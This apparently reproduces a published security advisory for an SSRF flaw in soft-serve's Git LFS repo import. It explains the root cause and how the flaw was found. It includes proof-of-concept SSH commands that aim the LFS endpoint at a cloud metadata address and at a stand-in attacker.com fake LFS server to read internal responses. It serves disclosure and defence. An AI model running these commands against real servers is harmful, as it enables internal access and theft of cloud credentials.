# soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import

Soft-serve's LFS import uses http.DefaultClient with no SSRF filtering, letting any authenticated SSH user reach internal IPs and cloud metadata.

- Payout: Research
- Severity: critical
- Program: Soft-serve
- Found by: vnykmshr
- Disclosed: 2026-03-06
- CVE: CVE-2026-30832
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3fvx-xrxq-8jvv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3fvx-xrxq-8jvv
- Tags: area:cloud domain:infra impact:data-leak impact:dos impact:internal-access kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** Git LFS import/mirror HTTP client in soft-serve SSH server
**Root cause:** The user-supplied --lfs-endpoint URL flows unvalidated into lfs.NewClient, which uses http.DefaultClient with no IP validation or redirect blocking, unlike the webhook client patched in v0.11.1.
**Steps:**
1. Authenticate to the SSH server with any valid key.
2. Run `ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/` to trigger a blind POST to `<endpoint>/objects/batch`.
3. For read access, host a fake LFS server returning a valid BatchResponse whose download `href` values point at internal targets, then import with `--lfs-endpoint http://attacker.com/fake-lfs/`.
4. Retrieve the internal response bodies written to LFS object storage via the normal LFS download API.
5. For persistence, import with `--mirror --lfs --lfs-endpoint <internal-url>` so the URL is stored in git config `lfs.url` and re-fetched on every mirror sync.
**How found:** Auditing the codebase after the v0.11.1 webhook SSRF fix (GHSA-vwq2-jx9q-9h9f); noticed the fix added ValidateWebhookURL and secureHTTPClient only to pkg/webhook, then checked whether the parallel LFS path received the same treatment and found it still used http.DefaultClient.
**Exploitation:** Attacker with any SSH key imports a repo containing LFS pointer blobs, overriding the LFS endpoint with an internal URL. Stage 1 is blind (batch JSON parse fails but request is sent). Stage 2 uses an attacker-controlled fake LFS server whose batch response download hrefs point at internal services; BasicTransferAdapter fetches them with http.DefaultClient and stores bodies as LFS objects the attacker can then download. Mirror imports persist the SSRF across scheduled syncs.
**Escalation:** Chaining a fake LFS server's batch response download URLs converts blind SSRF into full read of internal service responses and cloud metadata credentials; mirror mode makes it recurring.
**Insight:** When a project ships an SSRF fix, grep for every other outbound HTTP client (http.DefaultClient, custom transports) in sibling packages — LFS, webhooks, mirrors, importers — since fixes are often scoped to the reported component only.

## Proof of concept (copied exactly from the original report)

**SSH repo import with crafted LFS endpoint**

```
ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/
```

**Import chained via fake LFS server**

```
ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://attacker.com/fake-lfs/
```

